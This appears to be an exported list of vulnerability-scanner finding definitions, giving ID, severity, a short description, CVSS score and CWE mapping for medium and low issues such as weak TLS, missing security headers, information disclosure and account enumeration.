SI-111 MEDIUM HTTP Methods: Unsafe Methods Enabled
Siphon confirmed that the HTTP TRACE method is enabled on the API server or a specific endpoint. The TRACE method is a d...
3.1 CWE-16
SI-112 MEDIUM HTTP Method Override Accepted
Siphon confirmed that the API honours HTTP method override headers (X-HTTP-Method-Override, X-Method-Override, X-HTTP-Me...
5.4 CWE-650
SI-137 MEDIUM Parameter Type Confusion Accepted
A parameter declared as a scalar type (string/number/boolean) accepted a structurally different JSON type (an array or o...
— CWE-843 CWE-20
SI-140 MEDIUM Unbounded Resource Consumption via Pagination Parameter
A pagination-style parameter (e.g. limit / page_size / count) accepted an extreme value and the API returned a materiall...
— CWE-770
SI-141 MEDIUM Insecure WebSocket Transport (Unencrypted ws://)
A WebSocket endpoint is served over unencrypted ws:// rather than wss://, so all frames are transmitted in cleartext.
— CWE-319
SI-143 MEDIUM Unauthenticated Server-Sent Events (SSE) Stream
A Server-Sent Events stream (text/event-stream) is accessible without authentication.
— CWE-306
SI-146 MEDIUM Insecure gRPC Transport (Plaintext / No TLS)
The gRPC endpoint accepted a plaintext (non-TLS) connection.
— CWE-319
SI-147 MEDIUM Application Responses Identify Valid Accounts
The login endpoint returns distinguishable responses (status codes, error messages, response bodies, or timing) for vali...
5.3 CWE-204
SI-149 MEDIUM Improper Input Validation Results in Server Error
An API endpoint returns a 500-series HTTP status code when sent malformed or unexpected input. This indicates the server...
5.3 CWE-20 CWE-600
SI-153 MEDIUM Session Tokens Remain Valid After Logout
Cookie-based session tokens remain valid after calling the logout endpoint. The session cookie can be replayed against p...
5.4 CWE-613
SI-154 MEDIUM Unhandled Application Exception
An API response contains stack traces, exception class names, debug output, or SQL error messages. This typically occurs...
5.3 CWE-209 CWE-215
SI-155 MEDIUM JWT Token Contains Personally Identifiable Information
JWT access token payload contains personally identifiable information (PII) such as email, phone number, or address. JWT...
5.3 CWE-200 CWE-359
SI-159 MEDIUM CORS Allows Null Origin
The API reflects 'null' as an allowed CORS origin. Sandboxed iframes, data: URIs, and local files send Origin: null, all...
5.4 CWE-942 CWE-346
SI-161 MEDIUM GraphQL Batching Enabled Without Limit
The GraphQL endpoint accepts batched queries (array of operations) in a single request without enforcing a batch size li...
5.3 CWE-770
SI-162 MEDIUM GraphQL Alias-Based Rate Limit Bypass
The GraphQL endpoint resolves multiple aliased copies of the same field in a single request, allowing attackers to multi...
5.3 CWE-770
SI-163 MEDIUM Information Disclosure: OAuth Token via Endpoint
The OAuth token info/introspection endpoint returns token metadata (scope, audience, user identity) to any bearer of the...
5.3 CWE-200
SI-164 MEDIUM Postman Collection or Environment File Exposed
Postman collection or environment files are publicly accessible. Collections expose full API endpoint inventory with exa...
5.3 CWE-538
SI-170 MEDIUM SSL/TLS Forward Secrecy: Not Supported
The API endpoint's TLS configuration does not offer forward secrecy. Cipher suites without ephemeral key exchange (ECDHE...
5.9 CWE-326
SS-027 MEDIUM SSL/TLS Ciphers: Obsolete Ciphers — —
SS-069 MEDIUM Information Disclosure: Internal IP in HTTP Response
The HTTP response body or headers from a web service contain one or more RFC 1918 private IP addresses (10/8, 172.16/12,...
5.3 CWE-200
SS-079 MEDIUM HTTP Methods: Unsafe Methods Enabled
The web server allows dangerous HTTP methods such as PUT, DELETE, MOVE, COPY, or PROPFIND as reported by the OPTIONS res...
5.3 CWE-749
SS-080 MEDIUM HTTP Methods: Unsafe Methods Enabled
The web server responds to HTTP TRACE requests by echoing the full request back, including all headers.
3.7 CWE-693
SS-081 MEDIUM {_status_label} Page Exposed
The Apache server-status or server-info page is publicly accessible, exposing detailed server information including vers...
5.3 CWE-200
SS-083 MEDIUM Debug Endpoint Exposed: {_dbg_label}
A debug or management endpoint (e.g., /actuator, /actuator/env, /debug, /__debug__, /console) is accessible and returns ...
5.3 CWE-215 CWE-489
SS-086 MEDIUM SMTP Mailing List Enumeration via EXPN
The SMTP EXPN command is enabled and reveals mailing list membership, disclosing valid email addresses and group members...
5.3 CWE-200
SS-087 MEDIUM SSL/TLS Certificate: Hostname Mismatch
The SSL/TLS certificate Common Name (CN) does not match the hostname used to connect, as reported by testssl.sh.
4.8 CWE-295
SS-090 MEDIUM UPnP/SSDP Service Responding
The UPnP/SSDP service responded to an M-SEARCH discovery request, revealing device information and service endpoints.
5.3 CWE-200
SS3-003 MEDIUM TLS 1.0 Enabled
The server accepts TLS 1.0 connections. TLS 1.0 is deprecated due to known weaknesses including BEAST, POODLE, and weak ...
3.4 —
SS3-004 MEDIUM TLS 1.1 Enabled
The server accepts TLS 1.1 connections. TLS 1.1 is deprecated and does not support modern authenticated cipher suites.
3.4 —
SS3-008 MEDIUM Self-Signed TLS Certificate
The server presents a self-signed certificate not issued by a trusted certificate authority. Clients cannot verify the s...
5.9 —
SS3-013 MEDIUM SMB Share Accessible (Authenticated)
An SMB share is accessible using provided credentials. The share may expose sensitive files, configuration data, or prov...
6.5 —
SS3-023 MEDIUM Nuclei: Misconfiguration Detected
Nuclei identified a security misconfiguration in a web application, server, or network service (e.g. debug endpoint enab...
5.3 —
SS3-024 MEDIUM HTTP Security Header Missing
One or more recommended HTTP security response headers are absent: Content-Security-Policy, Strict-Transport-Security (H...
4.3 —
SS3-026 MEDIUM Directory Listing Enabled
The web server returns a directory listing when no index file is present. File paths, names, and modification timestamps...
5.3 —
SS3-041 MEDIUM Gobuster: Sensitive Path Discovered
Gobuster directory brute-force discovered a sensitive path such as /admin, /backup, /.git, /config, /api/v1, or /.env ex...
5.3 CWE-548
SS3-053 MEDIUM SSH Vulnerability: Weak/Deprecated Cryptographic Algorithms
The SSH server advertises support for deprecated or weak cryptographic algorithms in its key exchange, host key, cipher,...
5.9 CWE-326 CWE-327
SS3-058 MEDIUM NFS Directory Listing Accessible
An NFS-mounted export directory listing was successfully retrieved, confirming that the export can be mounted and browse...
5.3 CWE-284 CWE-552
SS3-060 MEDIUM SMTP User Enumeration Possible via VRFY
The SMTP server responds to VRFY (verify) commands, allowing an unauthenticated client to enumerate valid email addresse...
5.3 CWE-203
SS3-061 MEDIUM SIP Extension / User Enumeration
The SIP (Session Initiation Protocol) service responds differently to OPTIONS or REGISTER requests for valid versus inva...
5.3 CWE-203
SS3-062 MEDIUM WebDAV Enabled
The web server has WebDAV (Web-based Distributed Authoring and Versioning) enabled. WebDAV extends HTTP with methods inc...
5.4 CWE-434 CWE-284
SS3-063 MEDIUM JetDirect / PJL Printer Accessible
An HP JetDirect or compatible printer management interface (port 9100 / PJL) is accessible from the network. The Printer...
6.5 CWE-284 CWE-311
SS3-075 MEDIUM Valid Kerberos Usernames Enumerated
Kerbrute or a similar tool enumerated valid Active Directory usernames by sending AS-REQ messages and observing Kerberos...
5.3 CWE-306 CWE-203
SS3-081 MEDIUM WordPress User Enumeration
WPScan successfully enumerated WordPress user accounts via the author archive URL pattern (?author=N) or the REST API en...
5.3 CWE-89 CWE-79 CWE-434 +1
SS3-090 MEDIUM Insecure Protocol Detected: HTTP
A web application or service is served over unencrypted HTTP. All data transmitted between the client and server includi...
5.9 CWE-311 CWE-319
SS3-093 MEDIUM SSL/TLS Vulnerability: BEAST
The server is susceptible to the BEAST attack (Browser Exploit Against SSL/TLS, CVE-2011-3389). BEAST exploits a CBC mod...
3.4 CWE-326 CWE-327
SS3-094 MEDIUM SSL/TLS Vulnerability: LUCKY13
The server supports CBC mode cipher suites with HMAC-SHA1 or HMAC-MD5, making it potentially susceptible to the LUCKY13 ...
3.7 CWE-326 CWE-327
SS3-095 MEDIUM SSL/TLS Vulnerability: SWEET32
The server supports cipher suites using 64-bit block ciphers (Triple-DES/3DES or Blowfish), making it susceptible to the...
5.3 CWE-327
SS3-096 MEDIUM SSL/TLS Certificate: Chain Incomplete
The TLS server does not present the full certificate chain during the TLS handshake, omitting one or more intermediate C...
4.3 CWE-295 CWE-326
SS3-100 MEDIUM SSL/TLS Certificate: Weak Encryption Method
The TLS certificate uses a weak signature algorithm or public key. This includes SHA-1 signed certificates (deprecated s...
5.9 CWE-295 CWE-326
SS3-102 MEDIUM SSL/TLS Cipher: No Cipher Order Configured
The TLS server does not enforce server-side cipher suite ordering, instead accepting the client's preferred cipher suite...
4.8 CWE-326 CWE-327
SS3-103 MEDIUM SSL/TLS Ciphers: Obsolete Ciphers
The TLS server supports one or more obsolete cipher suites that have been removed from TLS 1.3 and marked as prohibited ...
7.5 CWE-326 CWE-327
SS3-185 MEDIUM Insecure Protocol Detected: WinRM (Cleartext)
WinRM is running on port 5985 (HTTP) without TLS encryption. Administrative credentials are transmitted in cleartext or ...
5.3 CWE-319
SS3-199 MEDIUM POP3: STARTTLS Not Supported
The POP3 server on port 110 does not advertise STLS capability in its CAPA response, meaning email retrieval credentials...
5.3 CWE-319
SS3-200 MEDIUM IMAP: STARTTLS Not Supported
The IMAP server on port 143 does not advertise STARTTLS capability in its CAPABILITY response, meaning email credentials...
5.3 CWE-319
SS3-205 MEDIUM LDAP: Anonymous Enumeration — Users and Groups Discovered
LDAP anonymous bind is permitted and was used to enumerate Active Directory users, groups, and password policies. User/g...
5.3 CWE-200
SS3-209 MEDIUM Directory Listing Enabled
The web server has directory listing enabled, displaying file names, sizes, and modification dates to anyone who request...
5.3 CWE-548
SS3-210 MEDIUM SSL/TLS Certificate: Not Trusted
The SSL/TLS certificate is not trusted by common certificate stores, as reported by testssl.sh. This may indicate a self...
4.8 CWE-295
SS3-210 MEDIUM SSL/TLS Forward Secrecy: Not Supported
The server does not offer any cipher suites with forward secrecy (ECDHE or DHE key exchange). Without forward secrecy, c...
5.9 CWE-326
SS3-212 MEDIUM SSH Password-Only Authentication (No Public Key)
The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public ...
5.3 CWE-307 CWE-521 CWE-287
SS3-214 MEDIUM Enumeration: O365 Account Enumeration
Valid O365 user accounts were confirmed via Azure AD authentication endpoint enumeration. The endpoint returns different...
5.3 CWE-204
AETHER-024 LOW Client Probe Request Harvest — Remembered Network Disclosure
Wireless clients in the vicinity are broadcasting probe requests containing the SSIDs of previously associated networks....
3.7 —
AETHER-032 LOW Wi-Fi Direct / P2P Device Discovered
A Wi-Fi Direct (P2P) capable device was discovered in the assessment area. Wi-Fi Direct devices create their own access ...
4.0 —
AETHER-CERT-005 LOW Server Cert SAN Reveals Internal RADIUS Hostnames
The Subject Alternative Name field of the RADIUS server cert contains hostnames suggesting RADIUS server infrastructure ...
3.1 —
AETHER-SPLASH-004 LOW Captive Portal Reveals AP / Vendor Information
HTTP headers of the captive portal redirect or splash page contain identifying information about the AP vendor, firmware...
3.1 —
BA-003 LOW Disabled Rules Present in Production Configuration
One or more firewall rules are disabled (inactive) in the production configuration. Disabled rules accumulate over time ...
3.7 —
BA-006 LOW Suboptimal Rule Ordering
Frequently-hit rules appear after less-used rules in the policy list. This degrades performance as the firewall must eva...
3.1 —
BA-022 LOW DNS Outbound Not Restricted to Authorised Resolvers
Outbound DNS (UDP/TCP 53) is permitted from any internal host to any external destination, allowing direct DNS resolutio...
6.5 —
BA-044 LOW Video Conferencing Ports Unrestricted
Video conferencing service ports (Zoom 8801-8802, Teams 3478-3481, Webex) are permitted from any source without restrict...
3.7 —
DR-AD-010 LOW Active Directory: AdminSDHolder Orphaned Accounts
{...} account(s) have AdminCount=1 set but are not current members of any privileged group. These are orphaned AdminSDHo...
3.8 CWE-269
DR-AD-013 LOW Account Management: Stale Domain Accounts
Domain user accounts were found that have not logged in for an extended period (90+ days) and are still enabled. Stale a...
4.3 CWE-672
DR-HDN-014 LOW Monitoring: PowerShell Module Logging Disabled
PowerShell module logging is not enabled, which would record pipeline execution details for specified modules.
3.7 CWE-778
DR-HDN-015 LOW Monitoring: PowerShell Transcription Disabled
PowerShell transcription (recording of all PowerShell input and output to text files) is not enabled.
3.7 CWE-778
DR-HDN-030 LOW System Hardening: .NET Framework v2/v3.5 Installed
.NET Framework version 2.0 or 3.5 is installed on this system. These legacy .NET versions include the CLR v2 runtime whi...
3.3 CWE-477
DR-HDN-033 LOW Endpoint Protection: Controlled Folder Access Not Enabled
Windows Defender Controlled Folder Access is not enabled. This feature protects designated folders (Documents, Desktop, ...
4.0 CWE-693
DR-HDN-034 LOW Endpoint Protection: Network Protection Not Enabled
Windows Defender Network Protection is not enabled. Network Protection extends SmartScreen capabilities to block outboun...
4.0 CWE-693
DR-SFT-007 LOW Service Hardening: Unnecessary Services Running
Unnecessary or legacy services are actively running. While individually low-risk, each running service expands the syste...
3.3 CWE-284
DR-SYS-005 LOW Patch Management: System Uptime Exceeds 90 Days
The system has been running for over 90 days without a reboot, which may indicate that kernel-level patches requiring a ...
3.3 CWE-16
FR-004 LOW WordPress readme.html Accessible
The WordPress readme.html file is publicly accessible. This file may disclose the WordPress version and other installati...
— —
FR-009 LOW WordPress Password Reset Form Accessible
The WordPress password reset form is accessible. Combined with user enumeration, this could facilitate account takeover ...
— —
FR-010 LOW WordPress X-Pingback Header Present
The X-Pingback HTTP header is present, advertising the XML-RPC pingback endpoint. This confirms XML-RPC is enabled and m...
— —
FR-017 LOW WordPress Media Files Enumerable via REST API
The WordPress REST API /wp/v2/media endpoint exposes a list of uploaded media files without authentication, revealing si...
— —
FR-019 LOW WordPress Username Disclosed via oEmbed API
The WordPress oEmbed endpoint discloses the site author username in its JSON response. This provides an additional usern...
— —
FR-027 LOW Server Banner Disclosure
The HTTP Server header discloses the web server software name and version. This information assists attackers in identif...
— —
FR-028 LOW X-Powered-By Header Discloses Technology Stack
The X-Powered-By HTTP response header discloses the backend technology (e.g., PHP version, ASP.NET version, Express). Th...
— —
FR-063 LOW Missing X-Content-Type-Options Header
The X-Content-Type-Options header is absent. Without this header, browsers may perform MIME type sniffing, potentially e...
— —
FR-064 LOW Missing Referrer-Policy Header
The Referrer-Policy header is absent. Without this header, the browser's default behavior may leak the full URL (includi...
— —
FR-065 LOW Missing Permissions-Policy Header
The Permissions-Policy (formerly Feature-Policy) header is absent. This header controls which browser features and APIs ...
— —
FR-095 LOW Information Disclosure: Internal IP in JavaScript
Internal IP addresses or hostnames were found referenced in client-side JavaScript. This reveals internal network topolo...
— —
FR-098 LOW HTML Comment Discloses Sensitive Information
HTML comments in the page source reveal sensitive information such as developer notes, TODO items, internal system names...
— —
FR-113 LOW Sensitive File Exposed — Composer/NPM Metadata
Package metadata files (composer.json, package.json, package-lock.json, composer.lock) are publicly accessible. These re...
— —
FR-120 LOW GraphQL Field Suggestion Enabled
The GraphQL server returns 'Did you mean X?' suggestions when querying non-existent fields. This allows schema enumerati...
— —
FR-164 LOW shcheck — Missing Security Header
Security header analysis via shcheck identified one or more missing or misconfigured HTTP security headers. Missing secu...
— —
FR-180 LOW Information Disclosure: Internal Path in Response
Internal filesystem paths (e.g., /var/www/html/, C:\inetpub\wwwroot\) are disclosed in HTTP responses, error pages, or H...
— —
FR-189 LOW TLS OCSP Stapling Not Configured
OCSP stapling is not configured on the server. Without stapling, clients must query the OCSP responder directly to check...
— —
FR-207 LOW Information Disclosure: Sensitive Path in robots.txt
The robots.txt file discloses path patterns intended to be hidden from search engines. These paths are still accessible ...
— —
FR-208 LOW Information Disclosure: Server Header
The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance...
5.3 CWE-200
FR-209 LOW Information Disclosure: X-Powered-By Header
The X-Powered-By response header discloses the application framework, language, or runtime version, reducing the attacke...
5.3 CWE-200
FR-210 LOW Information Disclosure: X-AspNet-Version Header
The X-AspNet-Version header discloses the exact .NET framework version in use, assisting attackers in identifying versio...
5.3 CWE-200
FR-211 LOW Information Disclosure: Via Header
The Via response header discloses internal proxy or gateway infrastructure details, including software versions and inte...
5.3 CWE-200
FR-214 LOW Software Version Disclosed
Software version information was identified in response headers, HTML meta tags, error pages, or JavaScript files. A kno...
— 200 497
FR-215 LOW Virtual Host Discovered
A virtual host was identified via Host header fuzzing or DNS enumeration. Additional virtual hosts on the same IP may ha...
— 200 497
FR-227 LOW Hidden Parameter Discovered
A hidden form parameter or non-visible request parameter was discovered. Hidden parameters may be used to pass state or ...
— 200 284
FR-235 LOW Information Disclosure: WordPress Version
The WordPress version was identified. A known version allows attackers to rapidly identify version-specific CVEs affecti...
— —
FR-255 LOW SSL/TLS DNS: Missing CAA Record
No CAA (Certification Authority Authorization) DNS record exists for the domain. Without CAA, any certificate authority ...
3.7 295 16
FR-263 LOW Missing Security Header
One or more HTTP security headers are absent from the server response. Missing security headers weaken the browser's abi...
— —
FR-264 LOW Permissive Security Header: Content-Security-Policy
The Content-Security-Policy header is present but contains permissive directives such as 'unsafe-inline', 'unsafe-eval',...
— —
FR-265 LOW Permissive Security Header: X-Frame-Options
The X-Frame-Options header is set to ALLOW-FROM or is absent, allowing the page to be embedded in iframes from arbitrary...
— —
FR-266 LOW Permissive Security Header: Strict-Transport-Security
The Strict-Transport-Security header is present but has an insufficient max-age value or is missing the includeSubDomain...
— —
FR-267 LOW Permissive Security Header: Referrer-Policy
The Referrer-Policy header allows sensitive URL information to be included in the Referer header sent to third-party ori...
— —
FR-268 LOW Permissive Security Header: X-Content-Type-Options
The X-Content-Type-Options header is missing or set to a value other than 'nosniff', allowing browsers to MIME-sniff the...
— —
FR-269 LOW Permissive Security Header: Cache-Control
Sensitive pages lack appropriate Cache-Control directives, allowing browser or proxy caches to store sensitive data. Cac...
— —
FR-270 LOW Missing Cache-Control on Sensitive Page
An authenticated or sensitive page does not set Cache-Control headers to prevent caching. The page content may be stored...
— —
FR-271 LOW Misconfigured Expect-CT Header (max-age=0 with enforce)
The Expect-CT header is set with max-age=0 and the enforce directive. This configuration is contradictory and ineffectiv...
— —
FR-336 LOW GraphQL Field Suggestions Enabled
GraphQL field suggestions are enabled. When an invalid field name is queried, the server responds with suggestions for s...
— —
FR-415 LOW Missing Subresource Integrity — {entry['tag']} from {entry['host']}
An HTML page loads a script or stylesheet from an external CDN or third-party host without a Subresource Integrity (SRI)...
— CWE-353
FR-421 LOW SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED]
The server may be vulnerable to the LUCKY13 timing attack, a padding oracle attack against TLS CBC-mode cipher suites th...
— CWE-208
FR-427 LOW HSTS Not Preload-Ready
The Strict-Transport-Security header is present but does not meet browser preload list requirements.
— CWE-523
FR-431 LOW Content-Type Confusion
The server responds with a Content-Type that does not match the requested Accept header without X-Content-Type-Options e...
— CWE-430
FR-461 LOW Information Disclosure: Internal Hostname in HTTP Response
HTTP response headers or body contain internal hostnames (.local, .internal, .corp, .lan, etc.), disclosing naming conve...
3.7 CWE-200
FR-464 LOW Unhandled Application Exception Disclosed
HTTP responses contain exception class names, stack traces, or debug output patterns from various frameworks (Python, Ja...
5.3 CWE-209 CWE-497
FR-467 LOW Password Field With Autocomplete Enabled
Password input fields do not set autocomplete='off', allowing browsers to cache entered passwords.
3.3 CWE-525
FR-476 LOW Information Disclosure: ETag
The ETag response header follows the Apache inode-size-mtime format, disclosing filesystem inode numbers that can finger...
3.7 CWE-200
FR-477 LOW Information Disclosure: Internal Hostname in SAN
The TLS certificate's Subject Alternative Names include internal hostnames that disclose naming conventions and network ...
3.7 CWE-200
FR-478 LOW Cloud Storage Bucket URL Exposed
Cloud storage bucket URLs (AWS S3, Google Cloud Storage, Azure Blob) are exposed in page content, enabling cloud infrast...
3.7 CWE-200
FR-481 LOW Overly Permissive Permissions-Policy Header
The Permissions-Policy (or Feature-Policy) header grants wildcard (*) access to sensitive browser features such as camer...
3.1 CWE-16
FR-499 LOW Security-Sensitive Hidden Parameter
arjun discovered a hidden HTTP parameter with a security-sensitive name pattern (such as admin, debug, test, secret, tok...
3.7 CWE-200 CWE-489
FR-506 LOW Unkeyed Header in Cache Response
toxicache detected that the web cache does not include a specific HTTP header in its cache key, but the header's value i...
3.7 CWE-444
FR-509 LOW Overly Broad Cookie Domain Scope
Session cookies are scoped to a parent domain rather than the application's specific hostname, allowing any subdomain un...
3.7 CWE-1275
FR-513 LOW JWT Excessive Lifetime
A JWT token has an excessively long lifetime (>24 hours). Long-lived tokens increase the window for token theft and repl...
3.7 CWE-613
FR-515 LOW JWT Missing Audience Claim
A JWT token has no 'aud' (audience) claim. Without audience restriction, tokens intended for one service may be replayed...
3.7 CWE-284
FR-519 LOW Mixed Content on Authenticated Page
The authenticated HTTPS page loads resources over plain HTTP. Mixed content allows a network attacker to inject maliciou...
4.8 CWE-319
FR-520 LOW Potential Session Puzzling
The same session cookie name is assigned different values across functionally distinct paths (login, registration, passw...
3.7 CWE-384
GB-NET-006 LOW mDNS / Bonjour Service Announcement
The device is broadcasting mDNS (Multicast DNS / Bonjour / Avahi) service announcements. These expose device capabilitie...
— —
GB-RF-004 LOW Rolling-Code Sub-GHz Remote Detected
A rolling-code (KeeLoq/HCS/Security+ class) sub-GHz remote was detected — a positive control that defeats naive single-f...
3.1 CWE-294
GB-SC-004 LOW Predictable Smart Card Serial Number
The card serial/UID returned by the card is low-entropy, sequential, or otherwise predictable rather than cryptographica...
— CWE-330 CWE-340
GB-SSH-006 LOW SSH Password Authentication Enabled
The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key...
3.7 CWE-307 CWE-521
GB-TLS-006 LOW SSL/TLS — Missing HSTS Header
The HTTPS service does not return a Strict-Transport-Security header. Clients may be susceptible to SSL stripping attack...
— —
GB-TLS-012 LOW SSL/TLS Certificate: Expiring Soon
The server's TLS certificate has a remaining validity of fewer than 30 days, placing it at imminent risk of expiry. Upon...
— —
GB-TLS-013 LOW SSL/TLS - Overly Long Certificate Expiry
The TLS certificate has a validity period exceeding 398 days, in violation of the CA/Browser Forum baseline requirements...
— —
GB-VULN-004 LOW Nessus Low / Informational Finding
Nessus Professional identified a low-severity or informational finding. May represent configuration observations or vers...
— —
GB-WEB-003 LOW Web — Missing Security Headers
One or more recommended HTTP security headers are absent: Content-Security-Policy, X-Frame-Options, X-Content-Type-Optio...
— —
GB-WEB-004 LOW Information Disclosure: Server Header
The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance...
— —
GB-WEB-007 LOW Missing Secure Cookie Attribute: HttpOnly
A session or sensitive cookie was identified without the HttpOnly attribute. Without this flag, the cookie value is acce...
— —
GB-WEB-008 LOW Missing Secure Cookie Attribute: Secure
A session or sensitive cookie was identified without the Secure attribute. Without this flag, the browser will transmit ...
— —
GB-WEB-009 LOW Missing Secure Cookie Attribute: SameSite
A session or sensitive cookie was identified without a SameSite attribute. Cookies without SameSite are sent by the brow...
— —
GB-WEB-010 LOW Misconfigured Secure Cookie Attribute: SameSite
A session or sensitive cookie was identified with the SameSite attribute set to an insecure value. Setting SameSite=None...
— —
IS-003 LOW Possibly encrypted file detected
A file exhibits elevated Shannon entropy (7.5–7.99), suggesting possible encryption or heavy compression. The boundary b...
— —
IS-004 LOW GPS coordinates embedded in file metadata
A file (typically an image) contains GPS coordinates embedded in its EXIF metadata, potentially revealing the physical l...
3.7 CWE-200
OSIFT-004 LOW SSL/TLS Certificate Expiring Soon
An SSL/TLS certificate for a discovered host will expire within 30 days. Expiry causes browser security warnings and can...
— —
OSIFT-010 LOW DKIM Configuration Missing
No DKIM (DomainKeys Identified Mail) selector was discoverable for the target domain. Without DKIM, email authentication...
3.7 CWE-346 CWE-940
OSIFT-030 LOW HTTP Security Headers Missing
httpx detected missing security headers on a live host: Content-Security-Policy, X-Frame-Options, Strict-Transport-Secur...
4.3 —
OSIFT-033 LOW Wildcard DNS Record Detected
A wildcard DNS record (*.domain.com) was detected. This causes all subdomains to resolve, which may mask dangling CNAMEs...
— CWE-345 CWE-924
OSIFT-044 LOW DNS: Missing CAA Record
No Certificate Authority Authorization (CAA) DNS record was found for the domain. CAA records restrict which certificate...
— CWE-295
OSIFT-064 LOW Historical API Endpoint
waymore discovered API endpoints in web archive data (/api/, /v1/, /v2/, /graphql, /rest/, /ws/, /webhook). These endpoi...
3.7 CWE-200
OSIFT-065 LOW Document Metadata: Internal Username Leaked
exiftool extracted an internal username from the Author or Creator metadata field of a publicly accessible document. Thi...
3.7 CWE-200
OSIFT-067 LOW Document Metadata: Internal File Path Leaked
exiftool extracted an internal file system path (such as C:\Users\jsmith\Documents\... or /home/admin/reports/...) from ...
3.7 CWE-200 CWE-538
PHX-043 LOW API Version Disclosure 3.7 CWE-200
PHX-069 LOW Information Disclosure – Server Version Banner 3.7 CWE-200
PHX-107 LOW Cookie Security Attribute Misconfiguration 4.3 614 1004 1275
PHX-110 LOW Missing DNS CAA Record 3.7 295 16
PHX-121 LOW Debug / Diagnostic Header Data Leakage 3.7 200 497
PHX-169 LOW SSL/TLS Certificate — Validity Period Concerns 3.7 CWE-295 CWE-326
PHX-179 LOW OSINT PII Exposure — Phone Number 3.7 CWE-359 CWE-200
PHX-190 LOW Service/Application Version Disclosure — Reconnaissance 5.3 CWE-200
PHX-192 LOW Robots.txt Sensitive Path Disclosure 3.7 CWE-548
PT-002 LOW Cleartext DNS Exposes External Service Topology
All DNS queries are sent over cleartext UDP/53. Any on-path observer can enumerate the full set of external services the...
3.7 CWE-200 CWE-319
PT-003 LOW Device Identity Leaked in TLS Client Certificate (mTLS)
The device authenticates with a client X.509 certificate (mTLS). The certificate subject is sent in cleartext during the...
3.7 CWE-200 CWE-319
PT-004 LOW TLS ClientHello Offers Legacy CBC Cipher Suites
The device's TLS ClientHello offers legacy CBC-mode cipher suites alongside modern AEAD ciphers. While AEAD is typically...
3.1 CWE-327 CWE-326
PT-103 LOW SSDP / UPnP Broadcasts Expose Internal Services
SSDP/UPnP discovery traffic observed on the segment. SSDP advertises every UPnP-aware device (smart TVs, consumer router...
3.1 CWE-200
PT-104 LOW mDNS Activity Exposes Device Identity on Internal Segment
Device emits mDNS queries and/or responses on the local segment. mDNS exposes the device's hostname and services to any ...
3.1 CWE-200
PT-105 LOW LLDP Topology / Switch Firmware Disclosure
LLDP TLVs observed on the segment leak switch identity, model and firmware. Information that downstream attackers can us...
3.1 CWE-200
SI-014 LOW JWT Missing Issued-At Claim
The JWT issued by the API does not include an iat (issued-at) claim. The iat claim records when the token was created an...
3.1 —
SI-017 LOW JWT Missing Expiry Claim
The JWT issued by the API does not contain an exp (expiration) claim. Without an expiration claim, the token is theoreti...
4.3 613 287
SI-018 LOW Information Disclosure: Server Header
The API response includes a Server HTTP header that discloses the web server software and version (e.g., Apache/2.4.51, ...
3.7 CWE-200
SI-019 LOW Information Disclosure: Via Header
The API response includes a Via HTTP header that reveals information about intermediate proxies, load balancers, or CDN ...
3.1 CWE-200
SI-020 LOW Information Disclosure: X-Powered-By Header
The API response includes an X-Powered-By header that discloses the application framework or runtime (e.g., PHP/8.1.0, A...
3.7 CWE-200
SI-021 LOW Information Disclosure: X-AspNet-Version Header
The API response includes an X-AspNet-Version header disclosing the exact version of the ASP.NET runtime in use. This ve...
3.7 CWE-200
SI-022 LOW Permissive Security Header: Content-Security-Policy
The API response includes a Content-Security-Policy header, but the policy is overly permissive (e.g., contains 'unsafe-...
3.1 —
SI-023 LOW Permissive Security Header: Strict-Transport-Security
The API response includes a Strict-Transport-Security (HSTS) header, but it is configured with a very short max-age valu...
3.1 —
SI-024 LOW Permissive Security Header: X-Frame-Options
The API response includes an X-Frame-Options header set to ALLOWFROM or a value other than DENY or SAMEORIGIN. ALLOWFROM...
3.1 —
SI-025 LOW Permissive Security Header: X-Content-Type-Options
The API response includes an X-Content-Type-Options header with an invalid or non-standard value rather than the require...
2.6 —
SI-026 LOW Permissive Security Header: Referrer-Policy
The API response includes a Referrer-Policy header set to an overly permissive value such as 'unsafe-url' or 'no-referre...
2.6 —
SI-027 LOW Permissive Security Header: Cache-Control
The API response includes a Cache-Control header, but it allows caching of potentially sensitive responses. For example,...
3.1 —
SI-028 LOW Missing Secure Cookie Attribute: SameSite
An API session cookie does not include the SameSite attribute. Without SameSite, the browser will send the cookie on all...
4.3 614 1004 1275
SI-029 LOW Misconfigured Secure Cookie Attribute: SameSite
An API session cookie includes the SameSite attribute but it is set to 'None' without a legitimate cross-site requiremen...
4.3 614 1004 1275
SI-135 LOW Enumerated Parameter Value Restriction Not Enforced
An API parameter that declares a fixed set of allowed (enumerated) values accepted a value outside that set instead of r...
— CWE-20
SI-136 LOW Numeric Parameter Boundary Not Enforced
A numeric API parameter that declares minimum/maximum bounds accepted a value far outside the declared range instead of ...
— CWE-20
SI-138 LOW HTTP Parameter Pollution
The API accepted duplicate occurrences of the same query parameter and the response differed from the single-value basel...
— CWE-235
SI-139 LOW Content-Type Confusion — Alternate Body Format Accepted
An endpoint documented to consume JSON also accepted a request body in an alternate format (form-urlencoded), showing th...
— CWE-436
SI-144 LOW Server-Sent Events Stream Over Cleartext HTTP
A Server-Sent Events stream is served over cleartext http:// rather than https://.
— CWE-319
SI-145 LOW gRPC Server Reflection Exposed
The gRPC server has server reflection enabled and enumerates its full set of services and methods to any client.
— CWE-200
SI-148 LOW Timing-Based Username Enumeration
The login endpoint shows a measurable timing difference between valid and invalid username submissions. Non-constant-tim...
3.7 CWE-208
SI-150 LOW Information Disclosure: Internal Hostname in API Response
API response headers or body contain internal hostnames (e.g., *.local, *.internal, *.corp). Internal hostnames reveal n...
3.7 CWE-200
SI-152 LOW Excessive API Session Timeout
API bearer tokens remain valid after extended periods of inactivity. The tested token was still accepted by the server a...
3.7 CWE-613
SI-160 LOW GraphQL Field Name Suggestions Enabled
The GraphQL server returns 'Did you mean ...?' suggestions in error responses for misspelled field names, enabling schem...
3.7 CWE-200
SI-166 LOW API Version Header Manipulation Yields Different Response
The API accepts version negotiation headers (X-API-Version, Accept-Version, Api-Version) and returns different responses...
3.7 CWE-200
SS-082 LOW Information Disclosure: Internal Hostname in HTTP Response
The HTTP response contains internal hostnames matching common internal TLD patterns (.local, .internal, .corp, .lan, .in...
3.7 CWE-200
SS-085 LOW DNS Server Version Disclosed
